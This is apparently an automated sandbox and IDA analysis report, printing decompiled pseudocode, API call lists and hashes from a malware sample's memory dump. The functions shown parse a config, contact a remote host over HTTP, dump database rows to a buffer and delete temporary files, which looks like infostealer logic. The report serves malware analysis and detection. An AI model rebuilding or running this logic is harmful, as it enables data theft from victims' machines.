								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x715f70
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x715f88
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x7160a8
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x715e98
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x700410
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(p_q,?,?,004061B1,?,00715F70,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,p_q,p_q,?,004061B1,?,00715F70), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

p_q, xrefs: 00405BE4
<, xrefs: 00405CD4

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <$p_q
API String ID: 2415926151-3279155858
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x700420
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x7161c8
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x7157c0
				_t93 =  *0x41a288; // 0x716108
				_t109 =  *0x41a7c4; // 0x714840
				_t52 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x716ec0
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x716108
				_t116 =  *0x41a7c4; // 0x714840
				_t71 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x717fd0
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00700420), ref: 004066CD
lstrcat.KERNEL32(?,007120C8), ref: 004066E0
lstrcat.KERNEL32(?,00714840), ref: 004066F4
lstrcat.KERNEL32(?,007161C8), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,007120C8,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,006FEC80), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,006FE518), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,006FEC90), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007148C0), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00715EF8), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(x`q,00716078), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(x`q,00715E68), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(x`q,00714820), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00717FD0,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

@Hq, xrefs: 004066E6, 0040671B, 00406831

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: @Hq
API String ID: 2767677664-2423902325
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x716ec0
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x716c40
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x716f60
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x716d08
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x714880
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x716da8
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x716e20
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00716EC0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00716C40,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(00716F60,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00716D08,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00714880,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(00716DA8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00716E20,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

@lq, xrefs: 00405DEF
`oq, xrefs: 00405DFC
nq, xrefs: 00405E2F

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: DeleteFile
String ID: nq$@lq$`oq
API String ID: 4033686569-3854436206
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x7186d8
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x712668
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
